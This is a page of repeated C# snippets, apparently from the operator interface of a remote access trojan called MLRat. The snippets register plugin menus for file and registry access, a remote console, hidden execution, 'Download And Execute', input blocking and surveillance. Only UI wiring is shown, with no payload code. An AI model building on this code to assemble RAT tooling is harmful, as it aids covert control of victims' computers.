Exemplo n.º 1
0
        public FileExplorerForm(IServerUIHandler UIHandler, IClient c)
        {
            Client = c;
            UIHost = UIHandler;
            InitializeComponent();

            Image uiFolder = UIHandler.GetImage("folder.png");
            Image uiFolder2 = UIHandler.GetImage("folder2.png");
            Image uiFile = UIHandler.GetImage("file.png");
            Image uiDrive = UIHandler.GetImage("drive.png");
            Image uiError = UIHandler.GetImage("error.png");

            if(uiFolder != null)
                images.Images.Add("Folder", uiFolder);
            if (uiFolder2 != null)
                images.Images.Add("Folder2", uiFolder2);
            if (uiFile!=null)
                images.Images.Add("File", uiFile);
            if(uiDrive!=null)
                images.Images.Add("Drive", uiDrive);
            if(uiError != null)
                images.Images.Add("Error", uiError);

            lvFileView.SmallImageList = images;
            lvFileBucket.SmallImageList = images;
            c.Send((byte)NetworkCommand.FileManager, (byte)FileManagerCommand.Update, string.Empty);
        }
Exemplo n.º 2
0
        public TaskManagerForm(IClient c, IServerUIHandler ui)
        {
            InitializeComponent();
            Client = c;
            Image standardProc = ui.GetImage("service.png");
            Image thisProc     = ui.GetImage("bug.png");
            Image appImage     = ui.GetImage("application.png");


            if (standardProc != null)
            {
                images.Images.Add("background", standardProc);
                if (thisProc != null)
                {
                    images.Images.Add("me", thisProc);
                }
                else
                {
                    images.Images.Add("me", standardProc);
                }

                if (appImage != null)
                {
                    images.Images.Add("app", appImage);
                }
                else
                {
                    images.Images.Add("app", standardProc);
                }

                lvProcessList.SmallImageList = images;
            }
        }
Exemplo n.º 3
0
        public void OnPluginLoad(IServerUIHandler UIHost)
        {
            MUIHost = UIHost;
            FileExplorerHandler.SetUIHost(UIHost);
            TaskManagerHandler.SetUIHost(UIHost);
            ConnectionsHandler.SetUIHost(UIHost);
            UIHost.Log("MLManagement loaded!", System.Drawing.Color.Green);

            PingHandler.Column = UIHost.AddColumn("Ping", "-");
            MLRatContextEntry management = new MLRatContextEntry()
            {
                Text = "Management",
                Icon = "management.png"
            };

            MLRatContextEntry network = new MLRatContextEntry()
            {
                Text = "Network",
                Icon = "network.png"
            };

            management.SubMenus = new MLRatContextEntry[]
            {
                new MLRatContextEntry() { Text = "File Manager", OnClick = FileExplorerHandler.ContextCallback, Icon="folder_explore.png" },
                new MLRatContextEntry() {Text = "Registry Edit", OnClick = RegistryEditorHandler.ContextCallback, Icon="registry.png" },
                new MLRatContextEntry() {Text = "Startup Manager", OnClick = StartupManagerhandler.ContextCallback, Icon="system_time.png" },
                new MLRatContextEntry() { Text = "Task Manager", OnClick = TaskManagerHandler.ContextCallback, Icon="list.png" },
                new MLRatContextEntry() { Text = "Clipboard", OnClick = ClipboardHandler.ContextCallback, Icon="clipboard.png" },
                new MLRatContextEntry() { Text = "Connections", OnClick = ConnectionsHandler.ContextCallback, Icon="connections.png" },
                new MLRatContextEntry() { Text = "Console", OnClick = ConsoleHandler.ContextCallback, Icon="cmd.png" },

            };

            network.SubMenus = new MLRatContextEntry[]
            {
                new MLRatContextEntry(){Text = "Ping", OnClick = PingHandler.ContextCallback, Icon="Antena.png"},
                new MLRatContextEntry(){Text = "Run", Icon="monitor-lightning.png", SubMenus = new MLRatContextEntry[]
                {
                        new MLRatContextEntry() {Text = "Normal", OnClick = MiscHandler.ExecuteContextHandler, Icon = "application-blue-lightining.png" },
                        new MLRatContextEntry() {Text = "Hidden", OnClick = MiscHandler.ExecuteHiddenContextHandler, Icon = "application-green-lightining.png" },
                    }
                },
                    new MLRatContextEntry(){Text = "Download And Execute", OnClick = MiscHandler.DownloadAndExecuteContextHandler, Icon="globe.png"},
                    new MLRatContextEntry() { Text = "Client Executable", Icon="cog.png", SubMenus = new MLRatContextEntry[]
                    {
                        new MLRatContextEntry() { Text = "Disconnect Client", OnClick = MiscHandler.DisconnectHandler, Icon="disconnect.png" },
                        new MLRatContextEntry() { Text = "Restart Client", OnClick = MiscHandler.RestartContextHandler, Icon="restart.png" },
                        new MLRatContextEntry() { Text = "Close Client", OnClick = MiscHandler.CloseContextHandler, Icon="cross.png" }
                    }},

            };

            UIHost.AddContext(network, management);
        }
Exemplo n.º 4
0
 public void OnPluginLoad(IServerUIHandler UIHost)
 {
     MLRatContextEntry surv = new MLRatContextEntry();
     surv.Text = "Surveillance";
     surv.Icon = "camera.png";
     surv.SubMenus = new MLRatContextEntry[]
     {
             //new MLRatContextEntry(){ Text = "Remote Desktop", OnClick = RemoteDesktopHandler.ContextCallback, Icon="desktop.png" },
             new MLRatContextEntry() { Text = "Remote Chat", OnClick = RemoteChatHandler.ContextCallback, Icon="chat.png" }
     };
     UIHost.AddContext(surv);
 }
Exemplo n.º 5
0
        public void OnPluginLoad(IServerUIHandler UIHost)
        {
            MLRatContextEntry miscContext = new MLRatContextEntry()
            {
                Text = "Misc", Icon = "misc.png"
            };

            miscContext.SubMenus = new MLRatContextEntry[]
            {
                new MLRatContextEntry()
                {
                    Text = "Text to speech", Icon = "comment_edit.png", OnClick = MiscHandler.TextToSpeechContextCallback
                },
                new MLRatContextEntry()
                {
                    Text = "Computer Power", Icon = "power_surge.png", OnClick = MiscHandler.ComputerPowerContextCallback
                },
                new MLRatContextEntry()
                {
                    Text = "Input", Icon = "lock_edit.png", SubMenus = new MLRatContextEntry[]
                    {
                        new MLRatContextEntry()
                        {
                            Text = "Block Input", Icon = "lock.png", OnClick = MiscHandler.BlockInputContextCallback
                        },
                        new MLRatContextEntry()
                        {
                            Text = "Allow Input", Icon = "lock_break.png", OnClick = MiscHandler.AllowInputContextCallback
                        }
                    }
                },
                new MLRatContextEntry()
                {
                    Text = "Taskbar", Icon = "controlbar.png", SubMenus = new MLRatContextEntry[]
                    {
                        new MLRatContextEntry()
                        {
                            Text = "Show", Icon = "show_detail.png", OnClick = MiscHandler.ShowTaskbarContextCallback
                        },
                        new MLRatContextEntry()
                        {
                            Text = "Hide", Icon = "hide_detail.png", OnClick = MiscHandler.HideTaskbarContextCallback
                        }
                    }
                }
            };


            UIHost.AddContext(miscContext);
        }
Exemplo n.º 6
0
        public void OnPluginLoad(IServerUIHandler UIHost)
        {
            MLRatContextEntry surv = new MLRatContextEntry();

            surv.Text     = "Surveillance";
            surv.Icon     = "camera.png";
            surv.SubMenus = new MLRatContextEntry[]
            {
                //new MLRatContextEntry(){ Text = "Remote Desktop", OnClick = RemoteDesktopHandler.ContextCallback, Icon="desktop.png" },
                new MLRatContextEntry()
                {
                    Text = "Remote Chat", OnClick = RemoteChatHandler.ContextCallback, Icon = "chat.png"
                }
            };
            UIHost.AddContext(surv);
        }
Exemplo n.º 7
0
        public void OnPluginLoad(IServerUIHandler UIHost)
        {
            MLRatContextEntry miscContext = new MLRatContextEntry() {Text = "Misc", Icon = "misc.png" };

            miscContext.SubMenus = new MLRatContextEntry[]
            {
                new MLRatContextEntry() {Text="Text to speech", Icon = "comment_edit.png", OnClick = MiscHandler.TextToSpeechContextCallback },
                new MLRatContextEntry() {Text="Computer Power", Icon = "power_surge.png", OnClick = MiscHandler.ComputerPowerContextCallback },
                new MLRatContextEntry() { Text = "Input", Icon="lock_edit.png", SubMenus=new MLRatContextEntry[]
                {
                    new MLRatContextEntry() {Text = "Block Input", Icon = "lock.png" , OnClick = MiscHandler.BlockInputContextCallback},
                    new MLRatContextEntry() {Text = "Allow Input", Icon = "lock_break.png", OnClick = MiscHandler.AllowInputContextCallback }
                } },
                new MLRatContextEntry() {Text = "Taskbar", Icon = "controlbar.png", SubMenus = new MLRatContextEntry[]
                {
                    new MLRatContextEntry() {Text="Show", Icon = "show_detail.png", OnClick = MiscHandler.ShowTaskbarContextCallback },
                    new MLRatContextEntry() {Text="Hide", Icon = "hide_detail.png", OnClick = MiscHandler.HideTaskbarContextCallback }
                } }
            };

            UIHost.AddContext(miscContext);
        }
Exemplo n.º 8
0
        public FileExplorerForm(IServerUIHandler UIHandler, IClient c)
        {
            Client = c;
            UIHost = UIHandler;
            InitializeComponent();

            Image uiFolder  = UIHandler.GetImage("folder.png");
            Image uiFolder2 = UIHandler.GetImage("folder2.png");
            Image uiFile    = UIHandler.GetImage("file.png");
            Image uiDrive   = UIHandler.GetImage("drive.png");
            Image uiError   = UIHandler.GetImage("error.png");

            if (uiFolder != null)
            {
                images.Images.Add("Folder", uiFolder);
            }
            if (uiFolder2 != null)
            {
                images.Images.Add("Folder2", uiFolder2);
            }
            if (uiFile != null)
            {
                images.Images.Add("File", uiFile);
            }
            if (uiDrive != null)
            {
                images.Images.Add("Drive", uiDrive);
            }
            if (uiError != null)
            {
                images.Images.Add("Error", uiError);
            }

            lvFileView.SmallImageList   = images;
            lvFileBucket.SmallImageList = images;
            c.Send((byte)NetworkCommand.FileManager, (byte)FileManagerCommand.Update, string.Empty);
        }
Exemplo n.º 9
0
        public TaskManagerForm(IClient c, IServerUIHandler ui)
        {
            InitializeComponent();
            Client = c;
            Image standardProc = ui.GetImage("service.png");
            Image thisProc = ui.GetImage("bug.png");
            Image appImage = ui.GetImage("application.png");

            if(standardProc != null)
            {
                images.Images.Add("background", standardProc);
                if(thisProc != null)
                    images.Images.Add("me", thisProc);
                else
                    images.Images.Add("me", standardProc);

                if(appImage != null)
                    images.Images.Add("app", appImage);
                else
                    images.Images.Add("app", standardProc);

                lvProcessList.SmallImageList = images;
            }
        }
Exemplo n.º 10
0
        public void OnPluginLoad(IServerUIHandler UIHost)
        {
            MUIHost = UIHost;
            FileExplorerHandler.SetUIHost(UIHost);
            TaskManagerHandler.SetUIHost(UIHost);
            ConnectionsHandler.SetUIHost(UIHost);
            UIHost.Log("MLManagement loaded!", System.Drawing.Color.Green);

            PingHandler.Column = UIHost.AddColumn("Ping", "-");
            MLRatContextEntry management = new MLRatContextEntry()
            {
                Text = "Management",
                Icon = "management.png"
            };

            MLRatContextEntry network = new MLRatContextEntry()
            {
                Text = "Network",
                Icon = "network.png"
            };

            management.SubMenus = new MLRatContextEntry[]
            {
                new MLRatContextEntry()
                {
                    Text = "File Manager", OnClick = FileExplorerHandler.ContextCallback, Icon = "folder_explore.png"
                },
                new MLRatContextEntry()
                {
                    Text = "Registry Edit", OnClick = RegistryEditorHandler.ContextCallback, Icon = "registry.png"
                },
                new MLRatContextEntry()
                {
                    Text = "Startup Manager", OnClick = StartupManagerhandler.ContextCallback, Icon = "system_time.png"
                },
                new MLRatContextEntry()
                {
                    Text = "Task Manager", OnClick = TaskManagerHandler.ContextCallback, Icon = "list.png"
                },
                new MLRatContextEntry()
                {
                    Text = "Clipboard", OnClick = ClipboardHandler.ContextCallback, Icon = "clipboard.png"
                },
                new MLRatContextEntry()
                {
                    Text = "Connections", OnClick = ConnectionsHandler.ContextCallback, Icon = "connections.png"
                },
                new MLRatContextEntry()
                {
                    Text = "Console", OnClick = ConsoleHandler.ContextCallback, Icon = "cmd.png"
                },
            };

            network.SubMenus = new MLRatContextEntry[]
            {
                new MLRatContextEntry()
                {
                    Text = "Ping", OnClick = PingHandler.ContextCallback, Icon = "Antena.png"
                },
                new MLRatContextEntry()
                {
                    Text = "Run", Icon = "monitor-lightning.png", SubMenus = new MLRatContextEntry[]
                    {
                        new MLRatContextEntry()
                        {
                            Text = "Normal", OnClick = MiscHandler.ExecuteContextHandler, Icon = "application-blue-lightining.png"
                        },
                        new MLRatContextEntry()
                        {
                            Text = "Hidden", OnClick = MiscHandler.ExecuteHiddenContextHandler, Icon = "application-green-lightining.png"
                        },
                    }
                },
                new MLRatContextEntry()
                {
                    Text = "Download And Execute", OnClick = MiscHandler.DownloadAndExecuteContextHandler, Icon = "globe.png"
                },
                new MLRatContextEntry()
                {
                    Text = "Client Executable", Icon = "cog.png", SubMenus = new MLRatContextEntry[]
                    {
                        new MLRatContextEntry()
                        {
                            Text = "Disconnect Client", OnClick = MiscHandler.DisconnectHandler, Icon = "disconnect.png"
                        },
                        new MLRatContextEntry()
                        {
                            Text = "Restart Client", OnClick = MiscHandler.RestartContextHandler, Icon = "restart.png"
                        },
                        new MLRatContextEntry()
                        {
                            Text = "Close Client", OnClick = MiscHandler.CloseContextHandler, Icon = "cross.png"
                        }
                    }
                },
            };

            UIHost.AddContext(network, management);
        }
Exemplo n.º 11
0
 public static void SetUIHost(IServerUIHandler _host)
 {
     UIHost = _host;
 }
Exemplo n.º 12
0
 public static void SetUIHost(IServerUIHandler h)
 {
     UIHost = h;
 }
Exemplo n.º 13
0
 public static void SetUIHost(IServerUIHandler handler)
 {
     UIHost = handler;
 }
Exemplo n.º 14
0
 public static void SetUIHost(IServerUIHandler _host)
 {
     UIHost = _host;
 }